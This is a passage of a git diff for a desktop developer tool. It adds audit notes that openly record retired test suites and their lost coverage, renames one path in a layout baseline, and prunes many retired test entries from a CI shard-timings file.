+        "Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope.",
+        "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope."
       ],
       "demotionRule": "Keep experimental if any direction skips or fails; do not extend timeouts or retry to green."
     },
diff --git a/config/renderer-layout-writer-baseline.txt b/config/renderer-layout-writer-baseline.txt
index 750730bd624..26d3f04ab48 100644
--- a/config/renderer-layout-writer-baseline.txt
+++ b/config/renderer-layout-writer-baseline.txt
@@ -18,7 +18,7 @@
 3 src/renderer/src/components/worktree-jump/worktree-jump-palette-status-inputs.ts
 1 src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.ts
 4 src/renderer/src/components/floating-terminal/floating-workspace-terminal-actions.ts
-1 src/renderer/src/lib/pane-manager/client-hosted-browser-row-state.ts
+1 src/renderer/src/runtime/browser/client-hosting/client-hosted-browser-row-state.ts
 4 src/renderer/src/lib/workspace/persistence/session-write-subscriber.ts
 1 src/renderer/src/lib/workspace/persistence/workspace-session-browser-tabs.ts
 7 src/renderer/src/lib/workspace/persistence/workspace-session-host-hydration.ts
diff --git a/config/scripts/ci/sharding/ci-shard-timings.json b/config/scripts/ci/sharding/ci-shard-timings.json
index 9ed17e62079..346c41d52a5 100644
--- a/config/scripts/ci/sharding/ci-shard-timings.json
+++ b/config/scripts/ci/sharding/ci-shard-timings.json
@@ -3433,7 +3433,6 @@
       "src/main/runtime/orchestration/db/orchestration-db.test.ts": 1239,
       "src/main/runtime/orchestration/db/dispatch-depth.test.ts": 866,
       "src/main/runtime/orchestration/db/dispatch-mailbox-consumer-fencing.test.ts": 570,
-      "src/main/runtime/orchestration/db/federated-worker-report-outcome.test.ts": 39,
       "src/main/runtime/orchestration/db/federation/federated-dispatch-observation-fence.test.ts": 500,
       "src/main/runtime/orchestration/db/lifecycle-transition.test.ts": 522,
       "src/main/runtime/orchestration/db/messages/mailbox-consumer-lifecycle-fencing.test.ts": 899,
@@ -3608,14 +3607,12 @@
       "src/main/runtime/rpc/methods/orchestration/structured-workers/orchestration-worker-start-mode-selection.test.ts": 5749,
       "src/main/runtime/rpc/methods/orchestration/agent-message-command-contract.test.ts": 6968,
       "src/main/runtime/rpc/methods/orchestration/cli-runtime-boundary.test.ts": 5671,
-      "src/main/runtime/rpc/methods/orchestration/federation/federated-attach-receipt.test.ts": 49,
       "src/main/runtime/rpc/methods/orchestration/federation/federated-fleet-snapshot.test.ts": 1230,
       "src/main/runtime/rpc/methods/orchestration/federation/federated-message-targeting.test.ts": 5277,
       "src/main/runtime/rpc/methods/orchestration/federation/federated-release-safety.test.ts": 5469,
       "src/main/runtime/rpc/methods/orchestration/federation/federated-transport-safety.test.ts": 4257,
       "src/main/runtime/rpc/methods/orchestration/federation/federated-worker-start-receipt.test.ts": 5223,
       "src/main/runtime/rpc/methods/orchestration/federation/federation-control-mail.test.ts": 5700,
-      "src/main/runtime/rpc/methods/orchestration/federation/federation-effects.test.ts": 39,
       "src/main/runtime/rpc/methods/orchestration/federation/federation-folder-placement.test.ts": 4867,
       "src/main/runtime/rpc/methods/orchestration/federation/federation-lifecycle-settlement.test.ts": 7140,
       "src/main/runtime/rpc/methods/orchestration/federation/federation-liveness-verdict.test.ts": 5303,
@@ -4127,10 +4124,8 @@
       "src/main/ssh/legacy-relay/bridge/legacy-relay-bridge-relay-restart.test.ts": 98,
       "src/main/ssh/legacy-relay/bridge/legacy-relay-bridge-restart-stop.test.ts": 3114,
       "src/main/ssh/legacy-relay/bridge/legacy-relay-bridge-runtime-exit.test.ts": 3411,
-
       "src/main/ssh/legacy-relay/cli/legacy-relay-cli-call-limits.test.ts": 7977,
       "src/main/ssh/legacy-relay/cli/legacy-relay-cli-legacy-records.test.ts": 6234,
-
       "src/main/ssh/legacy-relay/cli/legacy-relay-cli-server.test.ts": 9385,
       "src/main/ssh/legacy-relay/bridge/legacy-relay-client.test.ts": 109,
       "src/main/ssh/legacy-relay/bridge/legacy-relay-hidden-output.test.ts": 179,
@@ -4620,7 +4615,6 @@
       "src/preload/ssh-authority-forwarding.test.ts": 1111,
       "src/preload/updater-package-recovery.test.ts": 1102,
       "src/preload/usage-provider-api.test.ts": 46,
-      "src/renderer/src/app-shell/app-command-handlers-tab-rename.test.ts": 1786,
       "src/renderer/src/app-shell/shutdown-checkpoint-persist.test.ts": 65,
       "src/renderer/src/app-shell/startup-window-parity.test.ts": 2306,
       "src/renderer/src/app-shell/use-profile-state-save-delay-notice.sonner.test.tsx": 355,
@@ -4673,24 +4667,19 @@
       "src/renderer/src/components/automations/AutomationPromptDisclosure.test.tsx": 893,
       "src/renderer/src/components/automations/AutomationRunsTable.test.tsx": 668,
       "src/renderer/src/components/automations/authoring/AutomationSchedulePicker.test.ts": 431,
-
       "src/renderer/src/components/automations/AutomationsPage.behavior.test.tsx": 3389,
       "src/renderer/src/components/automations/AutomationsPage.edit-destination.test.tsx": 2932,
-
       "src/renderer/src/components/automations/ExternalAutomationManagers.test.tsx": 852,
       "src/renderer/src/components/automations/hosts/automation-captured-owner.test.ts": 379,
       "src/renderer/src/components/automations/automation-host-cache-controller.test.ts": 411,
       "src/renderer/src/components/automations/hosts/automation-host-cache.test.ts": 79,
-
       "src/renderer/src/components/automations/automation-host-diagnostics.test.ts": 460,
-
       "src/renderer/src/components/automations/automation-host-invalidation-window-events.test.ts": 83,
       "src/renderer/src/components/automations/automation-host-invalidation.test.ts": 85,
       "src/renderer/src/components/automations/hosts/automation-host-list-rows.test.ts": 419,
       "src/renderer/src/components/automations/automation-host-scale-gates.test.ts": 638,
       "src/renderer/src/components/automations/hosts/automation-host-scheduler.test.ts": 439,
       "src/renderer/src/components/automations/authoring/automation-legacy-schedule-editing.test.ts": 449,
-
       "src/renderer/src/components/automations/automation-list-view.test.ts": 257,
       "src/renderer/src/components/automations/runs/automation-run-history-keyboard-navigation.test.ts": 434,
       "src/renderer/src/components/automations/runs/automation-run-open-target.test.ts": 442,
@@ -4703,7 +4692,6 @@
       "src/renderer/src/components/automations/external-automation-scope-keys.test.ts": 53,
       "src/renderer/src/components/automations/hosts/use-automation-host-catalog-readoption.test.tsx": 802,
       "src/renderer/src/components/automations/hosts/use-automation-host-catalog.test.tsx": 920,
-
       "src/renderer/src/components/automations/listing/use-automation-list-search.test.tsx": 679,
       "src/renderer/src/components/automations/runs/use-automation-runs-dashboard-payload.test.tsx": 6692,
       "src/renderer/src/components/automations/runs/use-automation-runs-dashboard.test.tsx": 854,
@@ -4745,7 +4733,6 @@
       "src/renderer/src/components/browser-pane/history/use-browser-history-shortcut.test.tsx": 1990,
       "src/renderer/src/components/browser-pane/host-guest/agent-input-focus-guard.test.ts": 228,
       "src/renderer/src/components/browser-pane/host-guest/browser-automation-visibility.test.ts": 45,
-      "src/renderer/src/components/browser-pane/host-guest/browser-guest-eviction-veto.test.ts": 1724,
       "src/renderer/src/components/browser-pane/host-guest/browser-page-evicted-guest-recovery.test.ts": 1839,
       "src/renderer/src/components/browser-pane/host-guest/browser-page-guest-recovery.test.ts": 515,
       "src/renderer/src/components/browser-pane/host-guest/browser-page-registration-ownership.test.ts": 2197,
@@ -4775,7 +4762,6 @@
       "src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx": 3251,
       "src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx": 4357,
       "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-artifact-share.test.ts": 1754,
-      "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts": 327,
       "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts": 1057,
       "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-webview-attach.test.ts": 200,
       "src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts": 439,
@@ -4804,7 +4790,6 @@
       "src/renderer/src/components/dashboard-popout/dashboard-preview-link-composition.test.tsx": 8657,
       "src/renderer/src/components/dashboard-popout/preview-terminal-box-fit-lifecycle.test.ts": 192,
       "src/renderer/src/components/dashboard-popout/preview-terminal-ime-bridge-kitty-bytes.test.ts": 479,
-      "src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.test.ts": 81,
       "src/renderer/src/components/dashboard-popout/useDashboardSnapshot.test.tsx": 432,
       "src/renderer/src/components/dashboard/AgentDashboardDrawer.focus.test.tsx": 2567,
       "src/renderer/src/components/dashboard/AgentDashboardDrawer.test.tsx": 1981,
@@ -4836,7 +4821,6 @@
       "src/renderer/src/components/editor/EditorFileLocationMenuItems.test.tsx": 846,
       "src/renderer/src/components/editor/EditorPanel.custom-editor-flush.test.tsx": 2478,
       "src/renderer/src/components/editor/EditorPanel.diff-rich-owner.test.tsx": 2823,
-      "src/renderer/src/components/editor/EditorPanelHeaderPath.test.tsx": 2664,
       "src/renderer/src/components/editor/notebook/cells/IpynbCellEditor.external-sync.test.tsx": 1660,
       "src/renderer/src/components/editor/notebook/kernel/IpynbKernelToolbar.test.tsx": 736,
       "src/renderer/src/components/editor/notebook/document/IpynbRendering.test.tsx": 2143,
@@ -5102,7 +5086,6 @@
       "src/renderer/src/components/mobile/WindowsFirewallNotice.test.tsx": 691,
       "src/renderer/src/components/mobile/paired-mobile-devices.test.ts": 192,
       "src/renderer/src/components/mobile/use-mobile-page-paired-devices.test.ts": 475,
-      "src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-bulk-progress.test.tsx": 3261,
       "src/renderer/src/components/native-chat-recovery/offers/native-chat-resume-failed-chat-watch.test.ts": 1954,
       "src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-finished-run.test.tsx": 4173,
       "src/renderer/src/components/native-chat/messages/rows/NativeChatAgentMessageCard.test.tsx": 3700,
@@ -5116,7 +5099,6 @@
       "src/renderer/src/components/native-chat/attachments/chips/NativeChatImageAttachmentPreview.test.tsx": 2818,
       "src/renderer/src/components/native-chat/media/visuals/NativeChatInlineVisual.link-placement.test.tsx": 2477,
       "src/renderer/src/components/native-chat/prompts/NativeChatInteractiveCard.test.tsx": 2881,
-
       "src/renderer/src/components/native-chat/viewport/scroll/NativeChatJumpToLatest.test.tsx": 477,
       "src/renderer/src/components/native-chat/markdown/code/NativeChatMarkdown.code-wrap.test.tsx": 3123,
       "src/renderer/src/components/native-chat/media/images/NativeChatMarkdown.image-preview.test.tsx": 4346,
@@ -5124,27 +5106,15 @@
       "src/renderer/src/components/native-chat/media/visuals/NativeChatMarkdown.visual.test.tsx": 2860,
       "src/renderer/src/components/native-chat/messages/reasoning/NativeChatMessageList.live-reasoning.test.tsx": 20337,
       "src/renderer/src/components/native-chat/NativeChatMessageList.new-rows-marker.test.tsx": 4304,
-      "src/renderer/src/components/native-chat/viewport/history/NativeChatMessageList.older-history.test.tsx": 12659,
-      "src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.opening-send.test.tsx": 3604,
-      "src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.queued-turn-order.test.tsx": 2949,
-      "src/renderer/src/components/native-chat/viewport/navigation/NativeChatMessageList.rail-history-jump.test.tsx": 23851,
       "src/renderer/src/components/native-chat/viewport/scroll/NativeChatMessageList.scroll-behavior.test.tsx": 14260,
-      "src/renderer/src/components/native-chat/subagents/NativeChatMessageList.subagent-sections.test.tsx": 7517,
-      "src/renderer/src/components/native-chat/surfaces/integration/NativeChatMessageList.test.tsx": 4252,
-      "src/renderer/src/components/native-chat/conversation/turns/NativeChatMessageList.turn-indicator.test.tsx": 4070,
-      "src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.turn-membership.test.tsx": 3527,
-      "src/renderer/src/components/native-chat/session/structured/delivery/NativeChatMessageList.unsent-message.test.tsx": 3069,
       "src/renderer/src/components/native-chat/viewport/scroll/NativeChatMessageList.visual-scroll.test.tsx": 6691,
-      "src/renderer/src/components/native-chat/viewport/virtualization/NativeChatMessageList.windowing.test.tsx": 20958,
       "src/renderer/src/components/native-chat/viewport/rail/NativeChatMessageRail.test.tsx": 1134,
-      "src/renderer/src/components/native-chat/messages/rows/NativeChatMessageRow.test.tsx": 3533,
       "src/renderer/src/components/native-chat/NativeChatNewRowsMarker.test.tsx": 3019,
       "src/renderer/src/components/native-chat/usage/NativeChatNoticeRow.test.tsx": 3399,
       "src/renderer/src/components/native-chat/pane/actions/NativeChatPaneHeader.test.tsx": 2736,
       "src/renderer/src/components/native-chat/composer/editor/NativeChatPromptEditor.paragraph-selection.test.tsx": 652,
       "src/renderer/src/components/native-chat/composer/editor/NativeChatPromptEditor.test.tsx": 1110,
       "src/renderer/src/components/native-chat/prompts/NativeChatQuestionCard.test.tsx": 762,
-      "src/renderer/src/components/native-chat/queue/NativeChatQueuedMessageList.in-flight.test.tsx": 1865,
       "src/renderer/src/components/native-chat/queue/NativeChatQueuedMessageRows.test.tsx": 2691,
       "src/renderer/src/components/native-chat/prompts/NativeChatResolutionReceipt.test.tsx": 912,
       "src/renderer/src/components/native-chat/media/images/NativeChatResolvedView.context-menu.test.tsx": 4025,
@@ -5201,7 +5171,6 @@
       "src/renderer/src/components/native-chat/drafts/native-chat-draft-retention.test.ts": 1415,
       "src/renderer/src/components/native-chat/attachments/intake/native-chat-external-attachments-destination.test.tsx": 951,
       "src/renderer/src/components/native-chat/links/actions/native-chat-file-link-existence.test.ts": 1937,
-      "src/renderer/src/components/native-chat/pane/actions/native-chat-header-ownership.test.tsx": 2796,
       "src/renderer/src/components/native-chat/links/actions/native-chat-host-file-open.test.ts": 895,
       "src/renderer/src/components/native-chat/links/previews/native-chat-hover-preview-cache.test.ts": 49,
       "src/renderer/src/components/native-chat/attachments/chips/native-chat-image-references.test.tsx": 2485,
@@ -5245,8 +5214,6 @@
       "src/renderer/src/components/native-chat/viewport/rail/structured-agent-session-rail-outline.test.ts": 48,
       "src/renderer/src/components/native-chat/session/structured/read/structured-agent-session-read-transport.test.ts": 243,
       "src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-clock.test.tsx": 2070,
-      "src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-failed-start.test.tsx": 2398,
-      "src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-unconfirmed-start.test.tsx": 2328,
       "src/renderer/src/components/native-chat/conversation/projection/structured-agent-session-transcript-order.test.ts": 294,
       "src/renderer/src/components/native-chat/session/attention/structured-attention-dispatch.test.ts": 1974,
       "src/renderer/src/components/native-chat/session/status/structured-chat-sleep-startup.test.tsx": 2285,
@@ -5309,7 +5276,6 @@
       "src/renderer/src/components/new-workspace/use-smart-workspace-name-field-foundation.source.test.tsx": 2290,
       "src/renderer/src/components/new-workspace/work-item-source-selection.test.ts": 1736,
       "src/renderer/src/components/onboarding/OnboardingLanguageLoading.test.tsx": 2167,
-      "src/renderer/src/components/onboarding/onboarding-feature-setup.test.ts": 76,
       "src/renderer/src/components/pet/pet-blob-cache.test.ts": 64,
       "src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalPanels.test.tsx": 2510,
       "src/renderer/src/components/plugins/declarative/PluginDeclarativeView.test.tsx": 2804,
@@ -5386,7 +5352,6 @@
       "src/renderer/src/components/right-sidebar/checks-panel/gitlab-review-client.test.ts": 321,
       "src/renderer/src/components/right-sidebar/checks-panel/comments/review-comment-markdown.test.tsx": 2171,
       "src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh-recovery.test.tsx": 2909,
-      "src/renderer/src/lib/repository-refresh/coalesced-poll-runner.test.ts": 61,
       "src/renderer/src/components/right-sidebar/file-explorer/mutations/file-explorer-delete-undo-precondition.test.tsx": 2023,
       "src/renderer/src/components/right-sidebar/file-explorer/tree/file-explorer-dir-pages.test.ts": 1767,
       "src/renderer/src/components/right-sidebar/file-explorer/tree/file-explorer-directory-listing.test.ts": 2072,
@@ -5400,7 +5365,6 @@
       "src/renderer/src/components/right-sidebar/file-explorer/watching/file-explorer-watch-reconcile.test.ts": 1906,
       "src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.test.ts": 70,
       "src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh.test.ts": 553,
-      "src/renderer/src/components/right-sidebar/source-control/sync/git-status-twin-copy.test.ts": 1841,
       "src/renderer/src/components/right-sidebar/hosted-review/folder-checks/parent-pr-checks-rows.test.ts": 374,
       "src/renderer/src/components/plugins/frames/plugin-frame-host-declarative.test.ts": 439,
       "src/renderer/src/components/right-sidebar/plugin-panels/health/plugin-panel-act-driver.test.ts": 293,
@@ -5443,7 +5407,6 @@
       "src/renderer/src/components/right-sidebar/hosted-review/provider-actions/useHostedReviewStackParent.test.tsx": 288,
       "src/renderer/src/components/right-sidebar/source-control/listing/useSourceControlSubmoduleStatus.test.tsx": 2076,
       "src/renderer/src/components/settings/accounts/AccountsPane.owner-scope.test.tsx": 4057,
-
       "src/renderer/src/components/settings/agents/AgentsPane.test.tsx": 3230,
       "src/renderer/src/components/settings/accounts/providers/AntigravityAccountsSection.test.tsx": 2722,
       "src/renderer/src/components/settings/appearance/chat/AppearanceChatContrastControls.draft.test.tsx": 795,
@@ -5470,7 +5433,6 @@
       "src/renderer/src/components/settings/repository/worktrees/SparsePresetSettingsSection.test.tsx": 744,
       "src/renderer/src/components/settings/ssh/server-actions/SshHostDeltaMoveDialog.test.tsx": 438,
       "src/renderer/src/components/settings/ssh/server-actions/SshHostRecoverServerAction.test.tsx": 669,
-      "src/renderer/src/components/settings/ssh/SshPane.test.tsx": 1699,
       "src/renderer/src/components/settings/ssh/targets/SshTargetForm.test.tsx": 1014,
       "src/renderer/src/components/settings/ssh/targets/SshTargetList.test.tsx": 2093,
       "src/renderer/src/components/settings/tasks/TaskSourceSimpleSetup.test.tsx": 527,
@@ -5573,7 +5535,6 @@
       "src/renderer/src/components/sidebar/workspace-board/surface/use-workspace-kanban-drawer-lingering.test.tsx": 262,
       "src/renderer/src/components/sidebar/workspace-board/selection/use-workspace-kanban-selection.test.tsx": 243,
       "src/renderer/src/components/sidebar/workspace-card/review/use-workspace-reference-details.test.tsx": 1335,
-      "src/renderer/src/components/sidebar/worktree-list/navigation/use-workspace-reveal-body-redirect.test.tsx": 215,
       "src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-activity-status.test.tsx": 565,
       "src/renderer/src/components/sidebar/workspace-card/activity/use-worktree-agent-rows-subscriptions.test.tsx": 3635,
       "src/renderer/src/components/sidebar/host-admission/wsl/use-wsl-distro-list.test.ts": 542,
@@ -5609,7 +5570,6 @@
       "src/renderer/src/components/sidebar/worktree-list/listing/use-sort-order.test.tsx": 2239,
       "src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees-retention.test.tsx": 2374,
       "src/renderer/src/components/sidebar/worktree-list/navigation/folder-reveal.test.ts": 97,
-      "src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.focus.test.tsx": 691,
       "src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.host-identity.test.tsx": 587,
       "src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.reveal.test.tsx": 1691,
       "src/renderer/src/components/sidebar/worktree-list/navigation/use-selection-host-collision.test.tsx": 2217,
@@ -5624,18 +5584,13 @@
       "src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-eligibility.test.ts": 68,
       "src/renderer/src/components/sidebar/worktree-list/listing/worktree-sort-label-ordering.test.ts": 114,
       "src/renderer/src/components/sidebar/wsl-host-offer-move.test.ts": 227,
-
-      "src/renderer/src/components/skills/installation/SkillInstallManagementDialog.test.tsx": 3300,
       "src/renderer/src/components/skills/sharing/SkillSharedLinkRow.test.tsx": 817,
       "src/renderer/src/components/skills/SkillsPage.test.tsx": 3822,
       "src/renderer/src/components/skills/catalog/skill-agent-filter.test.ts": 274,
-
       "src/renderer/src/components/sparse/sparse-directory-entry-input.test.ts": 207,
       "src/renderer/src/components/stats/usage-daily-chart.test.tsx": 333,
       "src/renderer/src/components/stats/usage-overview-model.test.ts": 364,
       "src/renderer/src/components/status-bar/ClaudeSwitcherMenu.owner-lifetime.test.tsx": 2317,
-
-      "src/renderer/src/components/status-bar/SshStatusSegment.large-host-list.test.tsx": 1838,
       "src/renderer/src/components/status-bar/StatusBarUsageChangeNotices.test.tsx": 785,
       "src/renderer/src/components/status-bar/UpdateStatusSegment.test.tsx": 2484,
       "src/renderer/src/components/status-bar/account-switch-row-keyboard.test.tsx": 2286,
@@ -5656,20 +5611,17 @@
       "src/renderer/src/components/status-bar/use-resource-usage-derived-model.test.tsx": 742,
       "src/renderer/src/components/tab-bar/CopyTabIdMenuItem.test.tsx": 428,
       "src/renderer/src/components/tab-bar/TabBarCreateEntry.search.test.tsx": 3224,
-      "src/renderer/src/components/tab-bar/TabBarItemRow.test.tsx": 2116,
       "src/renderer/src/components/tab-bar/TabBarQuickCommandItem.test.tsx": 384,
       "src/renderer/src/components/tab-bar/TabBarQuickCommandsMenu.virtualization.test.tsx": 1644,
       "src/renderer/src/components/tab-bar/TabStripScrollIndicator.test.tsx": 356,
       "src/renderer/src/components/tab-bar/cli-chat-resume-close-terminal.test.ts": 598,
       "src/renderer/src/components/tab-bar/cli-chat-resume-run-close.test.ts": 3079,
-      "src/renderer/src/components/tab-bar/cli-chat-resume-run.test.ts": 3848,
       "src/renderer/src/components/tab-bar/group-tab-order.test.ts": 2091,
       "src/renderer/src/components/tab-bar/host-agent-launch-preferences-source.test.tsx": 3154,
       "src/renderer/src/components/tab-bar/recent-tab-switching.test.ts": 1795,
       "src/renderer/src/components/tab-bar/tab-agent-launch-options.test.ts": 438,
       "src/renderer/src/components/tab-bar/tab-agent-types-by-tab-id.test.ts": 206,
       "src/renderer/src/components/tab-bar/tab-bar-layout-owner-props.test.ts": 174,
-      "src/renderer/src/components/tab-bar/tab-bar-quick-commands-shortcut.test.tsx": 273,
       "src/renderer/src/components/tab-bar/tab-context-menu.test.tsx": 5620,
       "src/renderer/src/components/tab-bar/tab-create-entry-classifier.test.ts": 510,
       "src/renderer/src/components/tab-bar/tab-create-entry-local-path.test.ts": 2614,
@@ -5683,8 +5635,6 @@
       "src/renderer/src/components/tab-bar/use-sortable-tab-context-menu.test.ts": 261,
       "src/renderer/src/components/tab-bar/use-tab-bar-quick-command-search-input.test.tsx": 536,
       "src/renderer/src/components/tab-group/RetainedPaneHost.test.tsx": 340,
-      "src/renderer/src/components/tab-group/TabGroupPanel.os-file-drop.test.tsx": 1711,
-      "src/renderer/src/components/tab-group/TabGroupPanel.pane-actions.test.tsx": 1419,
       "src/renderer/src/components/tab-group/tab-drag-pointer-sensor.test.ts": 187,
       "src/renderer/src/components/tab-group/tab-drag-preview-activation.test.ts": 1785,
       "src/renderer/src/components/tab-group/tab-drag-retained-guest-passthrough.test.tsx": 2104,
@@ -5751,7 +5701,6 @@
       "src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-shared-server-banner.test.tsx": 2766,
       "src/renderer/src/components/terminal-pane/pty-connection/output/deferred-reattach-live-data-queue.test.ts": 184,
       "src/renderer/src/components/terminal-pane/layout/split/deferred-split-pane-handoff.test.ts": 78,
-      "src/renderer/src/components/terminal-pane/viewport/desktop-fit-fallback.test.ts": 92,
       "src/renderer/src/components/terminal-pane/pty-connection/output-restore/direct-ssh-hidden-output-restore-unavailable-banner.test.ts": 1975,
       "src/renderer/src/components/terminal-pane/links/http/edge-wrapped-terminal-http-links.test.ts": 529,
       "src/renderer/src/components/terminal-pane/links/http/framed-overlay-terminal-http-links.test.ts": 508,
@@ -5772,7 +5721,6 @@
       "src/renderer/src/components/terminal-pane/pty-connection/agent-identity/foreground-process/pane-foreground-inspect-observation-identity.test.ts": 226,
       "src/renderer/src/components/terminal-pane/pty-connection/agent-identity/foreground-process/pane-foreground-process-exit-retire.test.ts": 329,
       "src/renderer/src/components/sidebar/workspace-card/activity/structured-chat-activity-status-live.test.tsx": 4146,
-      "src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-byte-watcher.test.ts": 2837,
       "src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-command-status.test.ts": 352,
       "src/renderer/src/components/terminal-pane/layout/close/pending-pane-close-confirmation.test.ts": 4695,
       "src/renderer/src/components/terminal-pane/layout/close/pending-runtime-pane-close.test.ts": 3487,
@@ -5783,15 +5731,9 @@
       "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts": 20118,
       "src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-connection-git-bash-console-capacity.test.ts": 5784,
       "src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-connection-hibernation-kill-shell-foreground.test.ts": 2205,
-      "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts": 3129,
-      "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts": 3129,
       "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts": 21687,
-      "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-fit-overflow.test.ts": 3044,
-      "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-flood-abandon.test.ts": 1756,
-      "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-loss-disclosure.test.ts": 4220,
       "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-marker-handoff.test.ts": 2170,
       "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-unhide-coverage.test.ts": 4612,
-      "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-unhide-repaint-fallback.test.ts": 3237,
       "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-restore-unhide-retired-task.test.ts": 1947,
       "src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-hook-idle-arbitration.test.ts": 2228,
       "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts": 21974,
@@ -5800,7 +5742,6 @@
       "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-post-dispose-restore-termination.test.ts": 1215,
       "src/renderer/src/components/terminal-pane/pty-connection/agent-identity/pty-connection-process-exit-row-retire.test.ts": 10626,
       "src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-connection-owner-hydration-backend-retention.test.ts": 4181,
-      "src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-reattach-binding.test.ts": 5240,
       "src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-remote-new-terminal-typeahead.test.ts": 1864,
       "src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-remote-snapshot-image-title.test.ts": 1754,
       "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-restore-and-resume.test.ts": 19401,
@@ -5818,7 +5759,6 @@
       "src/renderer/src/components/terminal-pane/pty-connection/startup/main-pane-resume-banner.test.ts": 59,
       "src/renderer/src/components/terminal-pane/pty-connection/spawn/main-pane-start-wait.test.ts": 76,
       "src/renderer/src/components/terminal-pane/pty-connection/serialization/pane-serializer-register.test.ts": 123,
-      "src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-kitty-file-reader.test.ts": 297,
       "src/renderer/src/components/terminal-pane/pty-connection/output-restore/snapshot-covered-terminal-queries.test.ts": 150,
